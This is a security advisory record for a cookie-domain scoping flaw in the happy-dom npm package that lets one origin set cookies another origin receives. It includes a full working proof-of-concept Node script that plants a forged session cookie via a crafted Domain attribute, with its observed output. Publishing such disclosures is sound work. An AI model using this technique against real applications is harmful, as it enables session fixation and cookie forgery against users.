{"id":"GHSA-5fpq-26gf-qwcr","summary":"Happy DOM has cookie scope forgery: no DNS-label boundary on Domain= matching , attacker origin sets victim cookies","details":"### Summary\nA cookie-scoping bug in happy-dom lets an attacker origin set cookies that a victim origin then receives, diverging from browser semantics.\n\n### Details\nhappy-dom matches Domain=example.com against notexample.com (endsWith without a DNS-label boundary), diverging from browser semantics (verified 20.11.6 npm latest: cookieMatchesURL(Domain=example.com, url=http://notexample.com) = true). Relevant where happy-dom is used for SSR/prerender cookie handling. Matching in src/cookie/CookieContainer.ts.\n\n### PoC\n\nRun:\n```bash\nnode poc-happydom-cookie-domain.js\n```\n\nFull proof-of-concept source (poc-happydom-cookie-domain.js):\n```js\n// PoC: happy-dom cookie-domain scoping gap -\u003e cross-origin cookie injection / session fixation\n// Chain: app (window at http://localhost:PORT2) fetches attacker server (http://127.0.0.1:PORT1)\n//        -\u003e attacker Set-Cookie with Domain=localhost (a host that is NOT a suffix of 127.0.0.1)\n//        -\u003e happy-dom stores it (a real browser rejects: RFC 6265 §5.3.6-7 + PSL)\n//        -\u003e app's same-origin fetch to http://localhost:PORT2/api/account carries the forged cookie\n// Run:  cd C:/Users/rncb0/AppData/Local/Temp/0day && node poc/poc-happydom-cookie-domain.js\nconst http = require('http');\nconst { Window } = require('happy-dom');\n\nconst ATK_PORT = 19311; // attacker server, 127.0.0.1\nconst VIC_PORT = 19312; // victim server, localhost\n\nlet victimReceivedCookies = [];\n\nlet attackerSetCookie = `session=FORGED_BY_ATTACKER; Domain=localhost; Path=/; SameSite=None; Secure`;\n\nconst attacker = http.createServer((req, res) =\u003e {\n  if (req.method === 'OPTIONS') {\n    // CORS preflight (happy-dom enforces same-origin policy with a preflight; the\n    // attacker trivially answers it — an attacker-controlled server always can)\n    res.writeHead(204, {\n      'Access-Control-Allow-Origin': '*',\n      'Access-Control-Allow-Methods': 'GET, OPTIONS',\n      'Access-Control-Allow-Headers': '*'\n    });\n    res.end();\n    return;\n  }\n  res.writeHead(200, {\n    'content-type': 'image/gif',\n    'Access-Control-Allow-Origin': '*',\n    // Attacker claims Domain=localhost even though it is serving from 127.0.0.1.\n    // A browser MUST ignore this cookie (RFC 6265: domain-attribute not a domain-match of\n    // the request-host; localhost is also on the Mozilla PSL).\n    'Set-Cookie': attackerSetCookie\n  });\n  res.end('GIF89a');\n});\n\nconst victim = http.createServer((req, res) =\u003e {\n  victimReceivedCookies.push({ path: req.url, cookie: req.headers['cookie'] || null });\n  res.writeHead(200, { 'content-type': 'application/json' });\n  res.end(JSON.stringify({ ok: true, user: 'alice' }));\n});\n\nfunction sleep(ms) { return new Promise((r) =\u003e setTimeout(r, ms)); }\n\nasync function runScenario(scenario) {\n  victimReceivedCookies = [];\n  const win = new Window({\n    url: `http://localhost:${VIC_PORT}/`,\n    settings: {\n      enableJavaScriptEvaluation: true,\n      suppressInsecureJavaScriptEnvironmentWarning: true\n    }\n  });\n  try {\n    if (scenario === 'no-plant-control') {\n      // Control: app NEVER contacts attacker -\u003e victim must receive NO cookie\n      await win.fetch(`http://localhost:${VIC_PORT}/api/account`);\n    } else if (scenario === 'honest-domain-control') {\n      // Control: attacker sets Domain=127.0.0.1 (its own host, honest)\n      // -\u003e cookie must NOT leak to localhost victim\n      attackerSetCookie = `session=FORGED_BY_ATTACKER; Domain=127.0.0.1; Path=/; SameSite=None; Secure`;\n      await win.fetch(`http://127.0.0.1:${ATK_PORT}/plant`);\n      await win.fetch(`http://localhost:${VIC_PORT}/api/account`);\n    } else {\n      // attack: app fetches attacker content (scraping/SSR/third-party resource)\n      await win.fetch(`http://127.0.0.1:${ATK_PORT}/plant`);\n      await win.fetch(`http://localhost:${VIC_PORT}/api/account`);\n    }\n    await sleep(150);\n    return victimReceivedCookies;\n  } finally {\n    win.happyDOM.abort();\n  }\n}\n\nasync function main() {\n  await new Promise((r) =\u003e attacker.listen(ATK_PORT, '127.0.0.1', r));\n  await new Promise((r) =\u003e victim.listen(VIC_PORT, 'localhost', r));\n\n  console.log('=== happy-dom cookie-domain scoping PoC ===\\n');\n\n  const attack = await runScenario('attack');\n  console.log('[ATTACK] app fetched attacker (127.0.0.1) then victim (localhost)');\n  attack.forEach((e) =\u003e console.log(`  victim got ${e.path}: Cookie=${JSON.stringify(e.cookie)}`));\n  const forged = attack.some((e) =\u003e e.cookie && e.cookie.includes('session=FORGED_BY_ATTACKER'));\n  console.log(`  -\u003e forged cookie delivered to victim: ${forged ? 'YES (VULNERABLE)' : 'no'}`);\n\n  const noPlant = await runScenario('no-plant-control');\n  console.log('\\n[CONTROL] app never contacts attacker');\n  noPlant.forEach((e) =\u003e console.log(`  victim got ${e.path}: Cookie=${JSON.stringify(e.cookie)}`));\n\n  const honest = await runScenario('honest-domain-control');\n  console.log('\\n[CONTROL] attacker sets honest Domain=127.0.0.1 only');\n  honest.forEach((e) =\u003e console.log(`  victim got ${e.path}: Cookie=${JSON.stringify(e.cookie)}`));\n\n  // unit proof: document.cookie setter also accepts non-suffix domains (browser rejects)\n  const win2 = new Window({\n    url: `http://localhost:${VIC_PORT}/`,\n    settings: { enableJavaScriptEvaluation: true, suppressInsecureJavaScriptEnvironmentWarning: true }\n  });\n  win2.document.cookie = `admin=1; Domain=com; Path=/`; // PSL public suffix!\n  const readBack = win2.document.cookie;\n  console.log(`\\n[UNIT] document.cookie = 'admin=1; Domain=com' -\u003e read back: '${readBack}'`);\n  console.log(`  -\u003e browser: REJECTED (public suffix); happy-dom: ${readBack.includes('admin=1') ? 'ACCEPTED' : 'rejected'}`);\n  win2.happyDOM.abort();\n\n  // unit proof: endsWith boundary bug (SameSite=None cookie -\u003e sent to any host ending with the domain)\n  const { default: CookieURLUtility } = require('happy-dom/lib/cookie/urilities/CookieURLUtility.js');\n  const matchesBoundary = CookieURLUtility.cookieMatchesURL(\n    { key: 'k', value: 'v', originURL: new URL('http://attacker.example/'), domain: 'example.com', path: '/', secure: true, sameSite: 'None' },\n    new URL('https://notexample.com/')\n  );\n  console.log(`\\n[UNIT] cookieMatchesURL(Domain=example.com, SameSite=None, url=http://notexample.com) = ${matchesBoundary}`);\n  console.log(`  -\u003e 'notexample.com'.endsWith('example.com') is TRUE (no DNS-label boundary); browser: no match`);\n\n  attacker.close();\n  victim.close();\n  process.exit(0);\n}\n\nmain().catch((e) =\u003e { console.error(e); process.exit(1); });\n\n```\n\nObserved output (verbatim, Node 24.15.0, Windows):\n```\n[UNIT] cookieMatchesURL(Domain=example.com, SameSite=None, url=http://notexample.com) = true\n  -\u003e 'notexample.com'.endsWith('example.com') is TRUE (no DNS-label boundary); browser: no match\n```\n\n### Impact\nCookie-scoping divergence / session forgery . Applications using happy-dom for SSR/prerender cookie handling can accept cookies from wrong origins. Affects happy-dom \u003c= 20.14.5. Note: main pushback will be that happy-dom is a test DOM — state the SSR use case.","aliases":["CVE-2026-118661"],"modified":"2026-10-28T21:15:05.095020046Z","published":"2026-10-28T21:06:13Z","database_specific":{"nvd_published_at":null,"cwe_ids":["CWE-565"],"severity":"MODERATE","github_reviewed":true,"github_reviewed_at":"2026-10-28T21:06:13Z"},"references":[{"type":"WEB","url":"https://github.com/capricorn86/happy-dom/security/advisories/GHSA-5fpq-26gf-qwcr"},{"type":"WEB","url":"https://github.com/capricorn86/happy-dom/pull/2477"},{"type":"WEB","url":"https://github.com/capricorn86/happy-dom/commit/f21dbd7d0a0c63cdd41954ba5d0f05def4e0f2b3"},{"type":"PACKAGE","url":"https://github.com/capricorn86/happy-dom"},{"type":"WEB","url":"https://github.com/capricorn86/happy-dom/releases/tag/v20.14.6"}],"affected":[{"package":{"name":"happy-dom","ecosystem":"npm","purl":"pkg:npm/happy-dom"},"ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"20.14.6"}]}],"database_specific":{"last_known_affected_version_range":"\u003c= 20.14.5","source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/10/GHSA-5fpq-26gf-qwcr/GHSA-5fpq-26gf-qwcr.json"}}],"schema_version":"1.9.2","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N"}]}